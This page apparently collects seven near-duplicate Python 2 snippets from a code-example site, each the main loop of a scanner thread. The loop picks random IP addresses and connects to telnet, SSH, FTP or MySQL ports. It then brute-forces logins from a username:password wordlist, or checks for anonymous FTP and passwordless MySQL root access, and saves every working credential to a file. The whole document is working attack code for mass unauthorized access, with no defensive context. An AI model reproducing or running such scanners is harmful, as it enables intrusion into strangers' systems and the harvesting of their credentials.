Ejemplo n.º 1
0
 def run(self):
     while True:
         ip = getip()
         i = 0
         try:
             so = socket.socket()
             so.settimeout(3)
             so.connect((ip, 23))
             i += 1
         except Exception as ex:
             pass
         if i > 0:
             for x in wordlist:
                 try:
                     username = x.split(':')[0]
                     password = x.split(':')[1]
                     if method == 1:
                         q = telnet1(ip,
                                     username=username,
                                     password=password)
                     elif method == 2:
                         q = telnet2(ip,
                                     username=username,
                                     password=password)
                     if q == True:
                         ip += ':' + username + ':' + password
                         print ip
                         write_file(ip, filen)
                 except Exception as e:
                     pass
Ejemplo n.º 2
0
 def run(self):
  while True:
   ip=getip()
   i=False
   try:
    so=socket.socket()
    so.settimeout(3)
    so.connect((ip,22))
    i=True
   except Exception as ex: 
    pass
   if i==True:
    for x in wordlist:
     try:
      username=x.split(':')[0]
      password=x.split(':')[1]
      if method==1:
       q=ssh1(ip,username=username,password=password)
      elif method==2:
       q=ssh2(ip,username=username,password=password)
      if q==True:
       ip+=':'+username+':'+password
       print ip
       write_file(ip,filen)
     except Exception as e: 
      pass
Ejemplo n.º 3
0
 def run(self):
  while True:
   ip=getip()
   i=False
   try:
    so=socket.socket()
    so.settimeout(3)
    so.connect((ip,21))
    i=True
   except Exception as ex: 
    pass
   if i==True:
     try:
      if ftpanon(ip)==True:
       print ip
       write_file(ip,filen)
     except Exception as e: 
      pass
Ejemplo n.º 4
0
 def run(self):
     while True:
         ip = getip()
         i = 0
         try:
             so = socket.socket()
             so.settimeout(3)
             so.connect((ip, 21))
             i += 1
         except Exception as ex:
             pass
         if i > 0:
             try:
                 if ftpanon(ip) == True:
                     print ip
                     write_file(ip, filen)
             except Exception as e:
                 pass
Ejemplo n.º 5
0
 def run(self):
  s=mysql
  while True:
   ip=getip()
   i=False
   try:
    so=socket.socket()
    so.settimeout(3)
    so.connect((ip,3306))
    i=True
   except Exception as ex: 
    pass
   if i==True:
     try:
      if mysql(ip)==True:
       ip+=':root:'
       print ip
       write_file(ip,filen)
     except Exception as e: 
      pass
Ejemplo n.º 6
0
 def run(self):
     s = mysql
     while True:
         ip = getip()
         i = 0
         try:
             so = socket.socket()
             so.settimeout(3)
             so.connect((ip, 3306))
             i += 1
         except Exception as ex:
             pass
         if i > 0:
             try:
                 if mysql(ip) == True:
                     ip += ':root:'
                     print ip
                     write_file(ip, filen)
             except Exception as e:
                 pass
Ejemplo n.º 7
0
 def run(self):
     while True:
         ip = getip()
         i = False
         try:
             so = socket.socket()
             so.settimeout(3)
             so.connect((ip, 3306))
             i = True
         except Exception as ex:
             pass
         if i == True:
             for x in wordlist:
                 try:
                     username = x.split(':')[0]
                     password = x.split(':')[1]
                     if mysql(ip, username=username,
                              password=password) == True:
                         ip += ':' + username + ':' + password
                         print ip
                         write_file(ip, filen)
                 except Exception as e:
                     pass